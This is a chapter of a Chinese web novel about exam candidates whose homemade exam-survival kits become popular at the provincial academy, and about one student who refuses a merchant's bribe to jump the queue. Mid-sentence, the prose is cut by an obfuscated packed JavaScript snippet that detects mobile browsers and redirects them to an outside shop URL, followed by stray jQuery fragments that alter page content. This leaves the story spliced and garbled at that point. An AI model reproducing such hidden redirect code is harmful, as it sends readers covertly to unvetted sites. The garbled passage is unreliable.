112.口碑相传

作品:《科举之寒门弟子六元及第

    样品做好后的第三天,沈千机就有了新动作。


    这天早上,他提了两个考篮出门,一个给了省学里那位德高望重的老生员——姓刘,年近三十,考了三次乡试未中,但为人热心,在生员中很有威信。另一个给了教《礼记》的宋夫子——宋夫子虽已致仕,但门生故旧遍布江南,说话有分量。


    “刘兄,这是咱们几个同窗琢磨的‘备考用具’,您帮着看看,提提意见。”沈千机话说得客气。


    刘生员打开一看,眼睛就挪不开了。他考了三次,吃够了号舍的苦,一看这些东西,就知道都是经验之谈。


    “这灯罩……这炒米粉……这带盖的夜壶……”他一样样拿起来细看,连连点头,“妙!妙啊!沈兄,你们几个真是……想得周到!”


    “刘兄若觉得有用,这篮子您留着用。”沈千机笑道,“就当我们孝敬前辈了。”


    “这怎么好意思……”刘生员推辞。


    “您帮着提提意见,就是帮我们大忙了。”沈千机说得诚恳,“您经验丰富,看哪里还需要改进?”


    刘生员果然认真提了几条:比如蜡烛应该再备些更短的,供半夜偶尔起身用;比如炒米粉可以加些芝麻粉,更香;比如夜壶的盖子可以设计得更易清洗……


    沈千机一一记下。临走时,刘生员感慨:“若是当年我有这么一套,或许就不至于……”


    话没说完,但意思明白。


    送给宋夫子的那套,沈千机换了个说法:“夫子,这是学生们做的‘科考便民之具’,想着或许对将来赴考的学子有些帮助。请您过目,看是否合宜。”


    宋夫子是讲究人,先看做工,再看设计,最后试用了几样,捋须点头:“用心了。尤其是这文具匣,分隔合理,取用方便。这灯罩也巧,省蜡又防风。”


    他看向沈千机:“是你们几个永清学子做的?”


    “是林湛牵头,我们几个一起琢磨的。”沈千机如实道。


    “林湛……”宋夫子若有所思,“就是那个‘小三元’?果然务实。”


    他没说收或不收,但考篮留在了书桌上。沈千机识趣告退。


    这两份“礼物”的效果,立竿见影。


    当天下午,就有好几个生员来找沈千机打听——都是刘生员“无意间”透露的。宋夫子那边更直接,在讲课时提了句:“近来见有生员制作备考用具,思虑周全,可见用心于学。”


    这话从宋夫子口中说出,分量不轻。一时间,“沈千机那儿有备考利器”的消息,在省学里悄悄传开了。


    沈千机却不急。有人来问,他就展示样品,但不说卖,只说“这是同窗们自己用的,做起来费事,不多”。


    越是难得,越引人好奇。不到三天,来找他的生员已经排起了队——有本省的,也有外地在江宁备考的。


    这日李慕白带来几个吴州同乡,都是今年要赴乡试的。一看样品,个个眼睛发亮。


    “沈兄,咱们是同乡,可得优先!”一个姓赵的急切道。


    沈千机为难:“赵兄,不是我不帮忙。实在是……材料难寻,工匠有限。你看,已经订出去二十套了,再做就得排到年后。”


    “年后?那怎么来得及!乡试八月就考了!”赵生员急了,“价钱好说!我加钱!”


    “这不是钱的事……”沈千机一脸诚恳,“这样,赵兄既然开口了,我想想办法,挤一套出来。但得等,至少半个月。”


    “等!我等!”赵生员立刻掏定金。


    沈千机“勉强”收了,登记在本子上。他那本子现在密密麻麻,后面还标注了“急”“缓”“加价”等字样。


    王砚之看了直笑:“沈兄,你这欲擒故纵玩得炉火纯青。”


    “这叫市场策略。”沈千机一本正经,“物以稀为贵,越难得越想要。再说了,我也没说假话——确实材料难找,工匠也得一个个做,快不起来。”


    林湛提醒:“沈兄,适可而止。咱们的本意是帮同窗,不是牟利。”


    “放心!”沈千机拍拍胸脯,“我算过了,除去成本,一套赚不到一两银子。主要是工匠的工钱、料钱。咱们自己的那几套,我都没算成本价。”


    周文渊核对了账目,点头:“沈兄账目清晰,确实利润微薄。”


    铁柱最实在:“能帮到人就好!我昨天看见刘生员拿着咱们的考篮,高兴得跟什么似的,说他这次一定要中!”


    口碑传开后,连孙文远都受益。他那盐商家庭的身份,在这种时候反倒成了优势——不少富家子弟听说他也有份,觉得“孙文远都用的东西,肯定差不了”,也来打听。


    孙文远起初还有些别扭,但架不住同乡、旧识来问,只好带着他们去找沈千机。一来二去,他和林湛几人的关系倒缓和了不少。


    这日午后,沈千机正在铺子后院清点材料,一个衣着华贵的中年人找上门来。自称是江宁某大绸缎庄的掌柜,受东家之托,想订十套“备考包”。


    “东家的公子今年要赴乡试,听说这东西好,特让小的来问问。”掌柜说话客气,但眼神精明,“价钱不是问题,只要东西好,要快。”


    沈千机心中一动,面上却不露声色:“掌柜的,实在抱歉。现在订单已排到两个月后,十套……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213501|196937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    实在接不了。”


    “沈公子,”掌柜的压低声音,“我们东家说了,若能优先,每套加价二两。”


    二两!十套就是二十两!旁边的铁柱听得倒吸一口凉气。


    沈千机却摇头:“不是钱的事。前面订了的,都是同窗、同乡,答应了就得做到。失信于人,往后没法做人。”


    掌柜的还要再说,沈千机已起身送客:“这样,掌柜的若真需要,我记下,等这批做完,立刻给您做。但顺序不能乱。”


    送走掌柜,铁柱急得跳脚:“沈兄!二十两啊!够咱们做多少套了!”


    沈千机却淡定:“铁柱兄,这钱不能赚。赚了这钱,咱们的名声就臭了。同窗们会怎么想?‘哦,有钱就能插队,咱们穷学生就得等着’?”


    他拍拍账本:“做生意,信誉最要紧。尤其是读书人的生意,更得讲究个‘义’字。”


    这话传到林湛耳中,林湛对沈千机刮目相看:“沈兄有大智慧。”


    沈千机嘿嘿笑:“其实我也肉疼。不过林兄说得对,咱们的本意是帮忙,不是赚钱。再说了……”他眨眨眼,“拒绝了这单,名声传出去,只会更多人信咱们。”


    果然,那绸缎庄掌柜回去一说,东家不但没生气,反而赞许:“这沈生员是个讲信义的。”转头又让掌柜送了些上好的布料来,说是“赞助读书人”。


    这些布料,沈千机全用在后续的“生存包”里,品质又提升了一档。


    到了月底,“号舍生存包”已经成了省学里最热门的话题。膳堂里、回廊下、藏书楼前,常能听到生员们议论:


    “你订了吗?我排到四十五号了!”


    “我加急了一套,多等十天就成!”


    “听说宋夫子都夸好!”


    “刘生员说,有这套东西,能多考十分!”


    连教授们也有所耳闻。有次顾先生叫林湛去存心斋,居然也问起这事:“听说你们弄了个‘备考包’?”


    林湛如实说了。顾先生听罢,点点头:“能想人所未想,是长处。但切记,莫要本末倒置。文章根本在学问,不在器物。”


    “学生谨记。”林湛恭敬道。


    从存心斋出来时,秋阳正好。省学里的银杏叶金黄灿烂,落了一地。几个生员抱着新得的考篮匆匆走过,脸上带着笑意。


    林湛站在廊下,看着那些身影。远处明伦堂传来讲课声,抑扬顿挫;更远处,江宁城的街市喧闹,红尘万丈。


    他忽然觉得,这小小的“生存包”,像一颗石子投入池塘,涟漪正一圈圈荡开。而投石的人,已经站在了更大的池塘边。